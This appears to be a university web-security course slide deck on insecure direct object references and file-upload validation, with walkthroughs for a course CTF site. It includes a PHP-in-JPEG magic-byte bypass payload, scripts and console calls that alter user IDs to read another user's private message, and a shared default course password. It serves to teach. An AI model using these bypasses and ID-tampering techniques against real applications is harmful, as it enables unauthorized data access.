- OWASP's ESAPI provides support for numeric & random mappings
 - IntegerAccessReferenceMap & RandomAccessReferenceMap

http://app?file=Report123.xls		Report123.xls
http://app?file=1	Access	•
	Reference	
http://app?id=9182374	Мар	Acct:9182374
http://app?id=7d3J93		, (001.0102014

Validate all object references

- Deny access to all unauthenticated users
- Enforce any user or role based permissions for authenticated users
 - Verify requested mode of access is allowed (read, write, delete) to target object
- Blacklist access to unauthorized page types (e.g., config files, log files, source files, etc.)
- Verify that each URL (plus parameters) referencing a function is protected by an external filter or internal check in code

Verify file uploads

- Perform all checks on server (client checks easily bypassed)
- Filename verification
 - Restrict special files ("crossdomain.xml" or "clientaccesspolicy.xml")
 - White-list file upload locations or use file rewriting libraries
 - White-list or blacklist certain extensions
- Size limits
 - Directly on upload
 - On decompressed size of file (zip bomb)
- Ensure the detected content type is safe
 - Ensure file extension matches acceptable types
 - Ensure file extension matches Content-type in HTTP header
 - Verify the server configuration disallows requests to unauthorized file types
 - Automated tools such as OWASP's ZAP can help

Verify file uploads

- Validate server-side file type checks work
 - Server-side "magic value" checks
 - Linux command "file" based on magic value: a header specific byte value that is used to identify specific file types.
 - example: \xFF\xD8\xFF\xE0 (JPEG file type)
 - Issue: Can bypass check by adding magic value to any script you upload
 - (e.g. \xFF\xD8\xFF\xE0 <?php system(...) ?>)
 - But, can bypass using insecure file formats
 - Julia Wolf, "OMG WTF PDF", 2011 Chaos Computer Congress, <u>https://www.youtube.com/watch?v=54XYqsf4JEY</u>
 - When is a file a zip file that is also a pdf file that can execute JavaScript?
 - When is a file a gif file that is also a pdf file that can execute JavaScript?
 - When is a file a png file that is also a pdf file that can execute JavaScript?
 - When is a file a exe file that is also a pdf file that can execute JavaScript?
 - When is a file a html file that is also a pdf file that can execute JavaScript?

Homework

- Labs and homework listed in hand-out
- Homework site at http://cs410.oregonctf.org
 - Username is your OdinID if > 4 characters, otherwise it is your OdinID twice in a row
 - Password is cs410510 (you will change this on first login)
 Site does not use https so do not use a password you care about
 - Modules opened up as course goes on
 - Cheats enabled
 - Try to avoid using them for a while

- Failure to Restrict URL Access Lesson
 - Demo:
 - View the source
 - Find the hidden URL and its relative position from the web site's root

Insecure Direct Object Reference Lesson

• Demo:

- Inspect the submission button
- See the action performed on form submission
- Decode AJAX call
- Program to solve the lesson

```
import requests
loginpayload={"login":"wuchang","pwd":"cs410510"}
session=requests.Session()
loginurl='http://cs410.oregonctf.org/login'
resp=session.post(loginurl,data=loginpayload)
```

```
url='http://cs410.oregonctf.org/lessons/fdb94122d0f032821019c7
edf09dc62ea21e25ca619ed9107bcc50e4a8dbc100'
```

```
resp=session.post(url,data={"username":"admin"})
print(resp.text)
```

- Insecure Direct Object #1
 - Demo:
 - Developer Tools usage
 - View form source
 - See use of leForm and its AJAX call

nsecure Direct Object Refere nces Challenge One

he result key for this challenge is stored in the private



```
▼<script> == $0
                   $("#leForm").submit(function(){
                       $("#submitButton").hide("fast");
                       $("#loadingSign").show("slow");
                       var optionValue = $("#userId").val();
                       $("#resultsDiv").hide("slow", function(){
                           var ajaxCall = $.ajax({
                               type: "POST",
                               url:
       "o9a450a64cc2a196f55878e2bd9a27a72daea0f17017253f87e7ebd98c71c98c",
                               data: {
                                   userId: optionValue
                               },
                               async: false
                           });
                           if(ajaxCall.status == 200)
                           {
                               $("#resultsDiv").html(ajaxCall.responseText);
                           }
                           else
                               $("#resultsDiv").html(" An Error Occurred: " + ajaxCall.status +
         " + ajaxCall.statusText + "");
                           $("#resultsDiv").show("slow", function(){
                               $("#loadingSign").hide("fast", function(){
                                   $("#submitButton").show("slow");
                              });
                           });
                      });
                   });
     </script>
                concylaraber apen and http://opecapoodia
 js/clipboard.min.js"></script>
 <script type="text/javascript" src="../js/clipboard-
 js/tooltips.js"></script>
 <script type="text/javascript" src="../js/clipboard-
 js/clipboard-events.js"></script>
▼<div id="contentDiv">
   <h2 class="title">Insecure Direct Object References
   Challenge One</h2>
 ▶ ...
 ▼<center>
   ▼<form id="leForm" action="javascript:;">
     v<select id="userId" style="width: 300px;"</pre>
     multiple>
         <option value="1">Paul Bourke</option>
         <option value="3">Will Bailey</option>
         <option value="5">Orla Cleary</option>
         <option value="7">Ronan Fitzpatrick</option>
         <option value="9">Pat McKenana</option>
       </select>
```

- Examine AJAX request when profile requested
- Click on request to see POST data sent in order to see format of form options as they are transmitted "userId[]":"1" or lists of userIDs

wuchang Logout			R	Ь	Eler	ments	Netw	/ork	>>		8	3 🛕 1
Submit Result Key Here	Submit	I.	٠	\otimes	N	7	View:	=	\mathbb{N}		Group	by fram
			Filte	r				Rege	ex 🗆	Hide	data	URLs
Insecure Direct Object References	Cha	I.	All	XHR	JS C	SS Img	g Mec	lia	Font	Doc	WS	Manifes
llenge Two					:	50000 ms				10000	0 ms	
The result key for this challenge is stored in the private message er that is not listed below	for a us											
			Nam	е				×	Heade	ers F	Previe	₩ ≫
			0	9a450	a64cc2	2a196f5	587	►	Genera	al		
Paul Bourke			0	9a450	a64cc2	2a196f5	587	►	Respo	nse H	leade	ers (3)
Orla Cleary			g	etMod	dule			►	Reque	st He	ader	s (13)
Ronan Fitzpatrick 🔹			v	c9b78	627df2	c032cea	af73	▼	Form I	Data	1	view sou
Show this Profile			 jo	query.j	S				userl	d[]:	1	
Joe Sullivan's Message			clipboard.min.js						userl	d[]: 3		
		tooltips.js						useria[]: 5				
			clipboard-events.js									
I was going to set a message, but then I decided not to.			v	c9b78	627df2	c032cea	af73					
· .												

```
cs410.oregonctf.org walkthrough

    Solve via console

    Can now cut and paste AJAX call into console, filling in the

            appropriate POST data
> var ajaxCall = $.ajax({
                     type: "POST",
                     url: "o9a450a64cc2a196f55878e2bd9a27a72daea0f17017253f87e7ebd98c71c98c",
                     data: {
                        "userId[]": "11"
                     },
                     async: false
                  });

    undefined

> ajaxCall.responseText
« "<h2 class='title'>Hidden User's Message</h2>Result Key is
  <a>dd6301b38b5ad9c54b85d07c087aebec89df8b8c769d4da084a55663e6186742</a>
>
```

• Or via Postman

Runner Import	Builder Team Library 🧐 (💽 SYNC OFF 🛛 Sign In 📀 🔶
Q Filter	http://cs410.oregonct http://cs410.oregonct http://cs410.oregonct	No Environment 🗸 🗸
History Collections	POST V http://cs410.oregonctf.org/challenges/o9a450a64cc2a196f55878	e2 Params Send V
 Today GET https://0.client-channel.google.com/c 	Authorization Headers (10) Body ● Pre-request Script Tests ● form-data ● x-www-form-urlencoded ● raw ● binary	
lient-channel/channel/bind?ctype=cel lo&service=appscommonstorage&gs	Key Value	Description ••
POST http://cs410.oregonctf.org/challenge s/o9a450a64cc2a196f55878e2bd9a2 7a72daea0f17017253f87e7ebd98c71	userId[] 11 New key Value	
Post http://cs410.oregonctf.org/challenge s/o9a450a64cc2a196f55878e2bd9a2 7a72daea0f17017253f87e7ebd98c71	Response	

• Or via Python requests

```
import requests,LoginPayload,base64
session=requests.Session()
loginurl='http://cs410.oregonctf.org/login'
loginpayload=LoginPayload.loginpayload
resp=session.post(loginurl,data=loginpayload)
```

url='http://cs410.oregonctf.org/challenges/o9a450a64cc2a19 6f55878e2bd9a27a72daea0f17017253f87e7ebd98c71c98c'

resp=session.post(url,data={'userId[]':'11'})
print(resp.text)

Labs

Labs

- Web for Pentester (WFP1 and WFP2) exercises
- Locally on linuxlab machines at /u/wuchang/cs410
- Install video on course web page

Questions

https://sayat.me/wu4f